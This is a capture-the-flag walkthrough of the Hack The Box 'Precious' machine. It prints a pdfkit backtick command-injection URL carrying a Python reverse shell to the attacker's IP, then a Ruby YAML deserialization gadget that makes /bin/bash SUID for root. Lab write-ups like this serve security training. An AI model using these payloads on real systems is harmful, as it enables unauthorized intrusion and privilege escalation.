Hack The Box Precious Machine Walkthrough — shaggy
Description: Hey everyone, I’m sharing the walkthrough for the Precious machine on Hack The Box. This machine emphasizes the importance of file misconfiguration awareness, secure software lifecycle management, and security research. Let’s solve it. 🍾 🙌 🎉

We use Threader3000 to identify open ports, then Nmap to fingerprint services. A web application is running.

The web app takes a URL we give it, converts it to a PDF, and hands the PDF back. We tried a few test links first to see how it behaves.

Then we spun up a web server from our terminal, pointed it at our own IP, and it listed the directories on our desktop back to us, as shown below.
1❯ python3 -m http.server 80

The downloaded PDF had an odd filename, so we checked its details with exiftool. The Creator field showed pdfkit v0.8.6, which we looked up.

The research turns up a command injection vulnerability in this version, exploitable by running a command inside backticks.
1https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
As shown below, it returned the uid for the username we gave it.

We get a shell on the system, shown below. Worth flagging: the web server has to stay up for the shell to land, and we forgot that the first several tries (about 7 to 8 failed attempts, all because port 80 wasn’t running 🫠🫢). The command we used:
1http://10.10.14.4/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",3232));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
As ruby, we find a config file inside /home/ruby/.bundle/ that contains henry’s credentials. This allows us to SSH in as henry.

Henry’s home directory has user.txt.

Running sudo -l reveals henry can run update_dependencies.rb as root.

The file contents:
1# Compare installed dependencies with those specified in "dependencies.yml"require "yaml"require 'rubygems'# TODO: update versions automaticallydef update_gems()enddef list_from_file YAML.load(File.read("dependencies.yml"))enddef list_local_gems Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}endgems_file = list_from_filegems_local = list_local_gemsgems_file.each do |file_name, file_version| gems_local.each do |local_name, local_version| if(file_name == local_name) if(file_version != local_version) puts "Installed version differs from the one specified in file: " + local_name else puts "Installed version is equals to the one specified in file: " + local_name end end endendThe script loads a YAML file. This is exploitable via a Ruby YAML deserialization gadget. We research the attack vector.

We modify dependencies.yml, replacing git_set: id with git_set: chmod u+s /bin/bash:
Before:
1---- !ruby/object:Gem::Installer i: x- !ruby/object:Gem::SpecFetcher i: y- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: id method_id: :resolveAfter:
1---- !ruby/object:Gem::Installer i: x- !ruby/object:Gem::SpecFetcher i: y- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: chmod u+s /bin/bash method_id: :resolveRunning the script as root applies SUID to /bin/bash.

We run bash -p to get a root shell and grab the final flag.

Thanks for reading, happy hacking! :)